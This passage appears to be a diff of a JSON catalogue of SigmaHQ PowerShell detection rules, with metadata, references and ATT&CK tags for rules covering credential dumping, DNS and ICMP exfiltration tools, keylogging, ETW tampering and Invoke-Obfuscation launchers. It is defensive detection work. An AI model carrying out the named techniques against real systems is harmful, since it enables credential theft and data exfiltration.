"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.002" - ] - }, - "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08", - "value": "Manipulation of User Computer or Group Security Principals Across AD" - }, - { - "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", - "meta": { - "author": "Ali Alwashali", - "creation_date": "2022/08/21", - "falsepositive": [ - "Legitimate script that disables the command history" - ], - "filename": "posh_ps_disable_psreadline_command_history.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/DissectMalware/status/1062879286749773824", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ] - }, - "uuid": "602f5669-6927-4688-84db-0d4b7afb2150", - "value": "Disable Powershell Command History" - }, - { - "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", - "meta": { - "author": "frack113", - "creation_date": "2022/09/10", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_disable_windowsoptionalfeature.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml", - "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3", - "value": "Disable-WindowsOptionalFeature Command PowerShell" - }, - { - "description": "Dnscat exfiltration tool execution", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate usage of PowerShell Dnscat2 — DNS Exfiltration tool (unlikely)" - ], - "filename": "posh_ps_dnscat_execution.yml", - "level": "critical", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "a6d67db4-6220-436d-8afc-f3842fe05d43", - "value": "Dnscat Execution" - }, - { - "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_dump_password_windows_credential_manager.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md" - ], - "tags": [ - "attack.credential_access", - "attack.t1555" - ] - }, - "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc", - "value": "Dump Credentials from Windows Credential Manager With PowerShell" - }, - { - "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Legitimate script" - ], - "filename": "posh_ps_enable_psremoting.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.006" - ] - }, - "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3", - "value": "Enable Windows Remote Management" - }, - { - "description": "Detect built in PowerShell cmdlet Enable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", - "meta": { - "author": "frack113", - "creation_date": "2022/09/10", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_enable_windowsoptionalfeature.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_windowsoptionalfeature.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "55c925c1-7195-426b-a136-a9396800e29b", - "value": "Enable-WindowsOptionalFeature Command PowerShell" - }, - { - "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_enumerate_password_windows_credential_manager.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555" - ] - }, - "uuid": "603c6630-5225-49c1-8047-26c964553e0e", - "value": "Enumerate Credentials from Windows Credential Manager With PowerShell" - }, - { - "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_etw_trace_evasion.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1562.006", - "car.2016-04-002" - ] - }, - "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8", - "value": "Disable of ETW Trace" - }, - { - "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/26", - "falsepositive": [ - "Legitimate usage of the cmdlet to forward emails" - ], - "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml" - ], - "tags": [ - "attack.exfiltration" - ] - }, - "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474", - "value": "Suspicious PowerShell Mailbox SMTP Forward Rule" - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_file_and_directory_discovery.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9", - "value": "Powershell File and Directory Discovery" - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_get_acl_service.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2" - ], - "tags": [ - "attack.persistence", - "attack.t1574.011" - ] - }, - "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3", - "value": "Service Registry Permissions Weakness Check" - }, - { - "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/06", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_get_adreplaccount.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml", - "https://www.powershellgallery.com/packages/DSInternals" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.006" - ] - }, - "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73", - "value": "Suspicious Get-ADReplAccount" - }, - { - "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_get_childitem_bookmarks.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1217" - ] - }, - "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf", - "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell" - }, - { - "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/21", - "falsepositive": [ - "Legitimate administration scripts" - ], - "filename": "posh_ps_hotfix_enum.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml", - "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1" - ], - "tags": [ - "attack.discovery" - ] - }, - "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c", - "value": "PowerShell Hotfix Enumeration" - }, - { - "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", - "meta": { - "author": "Bartlomiej Czyz @bczyz1, oscd.community", - "creation_date": "2020/10/10", - "falsepositive": [ - "Legitimate usage of System.Net.NetworkInformation.Ping class" - ], - "filename": "posh_ps_icmp_exfiltration.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c", - "value": "PowerShell ICMP Exfiltration" - }, - { - "description": "Detects powershell scripts that import modules from suspicious directories", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/07", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_import_module_susp_dirs.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab", - "value": "Import PowerShell Modules From Suspicious Directories" - }, - { - "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Legitimate script" - ], - "filename": "posh_ps_invoke_command_remote.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.006" - ] - }, - "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6", - "value": "Execute Invoke-command on Remote Host" - }, - { - "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Legitimate script" - ], - "filename": "posh_ps_invoke_dnsexfiltration.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml", - "https://github.com/Arno0x/DNSExfiltrator", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ] - }, - "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355", - "value": "Powershell DNSExfiltration" - }, - { - "description": "Detects Commandlet name for PrintNightmare exploitation.", - "meta": { - "author": "Max Altgelt, Tobias Michalski", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_nightmare.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml", - "https://github.com/calebstewart/CVE-2021-1675" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "6d3f1399-a81c-4409-aff3-1ecfe9330baf", - "value": "PrintNightmare Powershell Exploitation" - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_clip.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "73e67340-0d25-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation CLIP+ Launcher" - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", - "meta": { - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml", - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation" - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_stdin.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation STDIN+ Launcher" - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_var.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation VAR+ Launcher" - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_compress.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_rundll.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER" - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_stdin.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", - "value": "Invoke-Obfuscation Via Stdin" - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0", - "value": "Invoke-Obfuscation Via Use Clip" - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759", - "value": "Invoke-Obfuscation Via Use MSHTA" - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2019/10/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", - "value": "Invoke-Obfuscation Via Use Rundll32" - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_invoke_obfuscation_via_var.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "e54f5149-6ba3-49cf-b153-070d24679126", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" - }, - { - "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_keylogging.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1" - ], - "tags": [ - "attack.collection", - "attack.t1056.001" - ] - }, - "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c", - "value": "Powershell Keylogging" - }, - { - "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_localuser.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c", - "value": "Powershell LocalAccount Manipulation" - }, - { - "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_mailboxexport_share.yml", - "level": "critical", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/" - ], - "tags": [ - "attack.exfiltration" - ] - }, - "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4", - "value": "Suspicious PowerShell Mailbox Export to Share - PS" - }, - { - "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", - "meta": { - "author": "Sean Metcalf (source), Florian Roth (rule), Bartlomiej Czyz @bczyz1 (update), oscd.community (update), Nasreddine Bencherchali (update), Tim Shelton (fp), Mustafa Kaan Demir (update)", - "creation_date": "2017/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_malicious_commandlets.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "89819aa4-bbd6-46bc-88ec-c7f7fe30efa6", - "value": "Malicious PowerShell Commandlets" - }, - { - "description": "Detects keywords from well-known PowerShell exploitation frameworks", - "meta": { - "author": "Sean Metcalf (source), Florian Roth (rule)", - "creation_date": "2017/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_malicious_keywords.yml", - "level": "high", - "logsource.category": 